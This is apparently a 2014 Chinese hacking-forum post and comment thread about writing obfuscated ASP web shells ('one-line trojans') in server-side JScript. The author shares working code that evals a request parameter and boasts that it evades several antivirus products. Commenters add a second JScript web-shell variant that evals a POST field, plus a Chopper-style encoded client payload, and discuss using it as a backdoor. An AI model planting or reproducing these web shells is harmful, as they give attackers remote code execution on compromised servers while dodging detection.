ASP一句话也可以奇葩

2014-10-28 16:45:26 21 5428 1
大家都造PHP千变万化,从变量,数组,赋值,运算,函数等。。。没有一样不奇葩的!所以常说PHP的木马永远杀不干净。

但是asp就悲剧了,它的脚本VBS用法很死板,不像PHP语法各种灵活和奇葩,不过别忘了asp是可以自定义脚本的,如果改成Javascript脚本来执行代码,也能像PHP木马一样奇葩

下面分享一下偶的一匹悍马
<%@LANGUAGE="javascript"%>
<%_()(_(!-''));function _(__){if(__){return Request('_')+''}else{return  eval
}}
%>

代码简单说明:
第一句,声明脚本为javascript
第二句,自定义了个函数_,当传入为空时返回 eval 函数,当传入为真时返回 _ 接收的值; !-'' 是1(True)的变形 (和PHP变形一样有木有?)

代码原形: eval(Request('_')+'') ,注意 +'' 绝对不能忽略,这是把接来的值转为串,否则不能识别;

手连测试:
test.asp?_=Response.write%20(Date());  //输出当前时间



总结:

用javascript来写asp,语法就能像php一样各种奇葩,但是注意以下几点:

1. 虽然能免杀狗,盾和360,还是有关键eval,所以对于靠关键词查杀的简单脚本和工具就报出来了

2.由于用的javscript脚本,所以用一般的客户端,如菜刀,斧头。。都连不上,有待码农开发个客户端。。。

关于作者

新仙剑之鸣117篇文章1409篇回复

评论21次

要评论?请先  登录  或  注册
  • 21楼
    2014-11-5 19:15

    如果asp有需求,我会把斧头加上。

    _=eval(" function decode(s){return s.replace(/.{4}/g,function($){return String.fromCharCode(parseInt($,16));});} function bd(s){a='';for(i=0;i<s.length;i=i+2){c=s.substr(i,2);if(isNaN(c)){a=a+decode('00'+c+'00'+s.substr(i+2,2));i=i+2}else{a=a+decode('00'+c);}}return a;} Response.Clear(); Response.Write('->|'); Response.Write(bd('616161')); Response.Write('|<-'); Response.End();")

  • 20楼
    2014-10-30 10:06

    神啊,04年都出来了。。我还没上过网。。 试了下,功能好粗糙啊,有木有像菜刀一样强大的客户端。。。

  • 19楼
    2014-10-30 10:02
    lcx

    直接用冰狐的客户端就行了。JS的写法也很多的。好比我以前写的http://hi.baidu.com/myvbscript/item/94aef19f2bed77cab625314d<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%><%var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};lcx.性别((lcx.名字)+'');%>

    1
    新仙剑之鸣

    一直在找冰狐这个客户端,但网上好像绝种了,求前辈给个地址

    2
  • 18楼
    2014-10-30 09:53

    好吧,我只看看。其实我主要还是想弄一个ASPX的变形一句话。

  • 17楼
    2014-10-30 09:48
    lcx

    直接用冰狐的客户端就行了。JS的写法也很多的。好比我以前写的http://hi.baidu.com/myvbscript/item/94aef19f2bed77cab625314d<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%><%var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};lcx.性别((lcx.名字)+'');%>

    1

    一直在找冰狐这个客户端,但网上好像绝种了,求前辈给个地址

  • 16楼
    2014-10-30 09:42

    直接用冰狐的客户端就行了。JS的写法也很多的。好比我以前写的 http://hi.baidu.com/myvbscript/item/94aef19f2bed77cab625314d <%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%> <% var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'}; lcx.性别((lcx.名字)+''); %>

  • 15楼
    2014-10-29 08:27
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1
    ph12h0n

    楼主说了用的js呀。。。不懂你意思。。。

    2
    Xser233

    我原本以为这个asp是可以用js实现后门功能,但实际上这东西怎么用你能教教我吗?比如上传一个文件,我看了w3cschool的确没有

    5

    网上这方面的知识很少,包括书上也很少。。。其实jsscript的组件和vbs操作组件非常相似,去掉Set,直接能跑。。包括数据库连接,文件操作都 一样。。不过jsscript分大小写很严的。。

  • 14楼
    2014-10-28 23:40
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1
    ph12h0n

    楼主说了用的js呀。。。不懂你意思。。。

    2
    ph12h0n

    ...你真逗。。。 你在服务端测试js,用vbscript的语法,肯定报错呀…… http://www.w3school.com.cn/asp/asp_syntax.asp 是时候好好看看w3school了

    4

    我原本以为这个asp是可以用js实现后门功能,但实际上这东西怎么用你能教教我吗?比如上传一个文件,我看了w3cschool的确没有

  • 13楼
    2014-10-28 23:36
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1
    ph12h0n

    楼主说了用的js呀。。。不懂你意思。。。

    2
    新仙剑之鸣

    这是在服务端运行的,JS脚本可以操作文件,数据库。。等,和VBS一样,只不过asp的js脚本用的人非常少。。。也被人淡忘了都。。

    4

    的确没见过,Jscript还行,JS要操作文件的话调用ActiveX?求楼主给点资料科普一下

  • 12楼
    2014-10-28 22:54
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1
    ph12h0n

    楼主说了用的js呀。。。不懂你意思。。。

    2
    Jumbo

    老师。你啥时成版主了O_o

    5

    默默地变成版主了

  • 11楼
    2014-10-28 22:40
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1
    ph12h0n

    楼主说了用的js呀。。。不懂你意思。。。

    2
    ph12h0n

    ...你真逗。。。 你在服务端测试js,用vbscript的语法,肯定报错呀…… http://www.w3school.com.cn/asp/asp_syntax.asp 是时候好好看看w3school了

    4

    老师。你啥时成版主了O_o

  • 10楼
    2014-10-28 19:36
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1
    ph12h0n

    楼主说了用的js呀。。。不懂你意思。。。

    2
    Xser233

    根据文章的意思我的理解是使用js实现了asp的功能,但是实际效果只是实现了js的功能

    3

    ...你真逗。。。 你在服务端测试js,用vbscript的语法,肯定报错呀…… http://www.w3school.com.cn/asp/asp_syntax.asp 是时候好好看看w3school了

  • 9楼
    2014-10-28 19:33
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1
    ph12h0n

    楼主说了用的js呀。。。不懂你意思。。。

    2
    Xser233

    根据文章的意思我的理解是使用js实现了asp的功能,但是实际效果只是实现了js的功能

    3

    这是在服务端运行的,JS脚本可以操作文件,数据库。。等,和VBS一样,只不过asp的js脚本用的人非常少。。。也被人淡忘了都。。

  • 8楼
    2014-10-28 19:30
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1
    ph12h0n

    楼主说了用的js呀。。。不懂你意思。。。

    2

    根据文章的意思我的理解是使用js实现了asp的功能,但是实际效果只是实现了js的功能

  • 7楼
    2014-10-28 18:58
    Xser233

    这样试一下就明显了<% Response.Write(Replace("asasas","a","")) %>结果sss与<%@LANGUAGE="javascript"%><%Response.Write(Replace("asasas","a",""))%>结果Microsoft JScript 运行时错误 错误 '800a138f'缺少对象/test21.asp,行 2Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

    1

    楼主说了用的js呀。。。不懂你意思。。。

  • 6楼
    2014-10-28 18:48

    这样试一下就明显了

    <% Response.Write(Replace("asasas","a","")) %>
    结果
    sss
    <%@LANGUAGE="javascript"%> <%Response.Write(Replace("asasas","a",""))%>
    结果
    Microsoft JScript 运行时错误 错误 '800a138f'  缺少对象  /test21.asp,行 2
    Request和Response可以成功,可能是因为定义了内置对象,这一点不确定

  • 5楼
    2014-10-28 18:35

    测试了一下这个实际上用的是js 在单独asp文件这样的代码

    <% Response.Write(Date()) %>
    结果是asp的Date()
    2014-10-28
    楼主的方法,出来的结果是
    Tue Oct 28 18:33:12 2014
    这个实际上是js的Date()

  • 4楼
    2014-10-28 17:00
    iframe

    哈哈nice 能使用三目运算符吗 那样就可以掉if 和return了

    1

    可以的,js语法也很灵活。。

  • 3楼
    2014-10-28 16:58

    哈哈nice 能使用三目运算符吗 那样就可以掉if 和return了

  • 2楼
    2014-10-28 16:53
    Mir4cl3

    思路是不错,但是不可能专门为了这么一个变形写个客户端出来吧。

    1

    当个后门吧。。。生成一个正常的一句话连就是了。。